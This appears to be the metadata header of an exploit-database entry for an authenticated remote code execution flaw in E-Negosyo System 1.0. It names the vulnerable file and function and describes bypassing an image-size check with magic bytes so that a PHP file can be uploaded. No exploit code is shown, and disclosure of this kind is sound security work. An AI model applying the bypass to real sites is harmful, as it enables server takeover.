| # Exploit Title: E-Negosyo System 1.0 - Authenticated RCE | |
| # Date: 2021-09-22 | |
| # Exploit Author: Janik Wehrli | |
| # Vendor Homepage: https://www.sourcecodester.com/users/janobe | |
| # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/bsenordering_0.zip | |
| # Version: 1.0 | |
| # Category: Webapps | |
| # Tested on: Ubuntu 18.04, Windows 10 Home | |
| # Description: | |
| # The E-Negosyo System 1.0 suffers from an Authenticated RCE vulnerability. | |
| # An Administrator can upload a PHP file as new product image, because image uploads are not properly handled by the Webapp | |
| # The Error resides in the file /admin/products/controller.php - function doInsert() which validates images with getImageSize | |
| # This can be bypassed by inserting some magic bytes at the top of the PHP file. | |
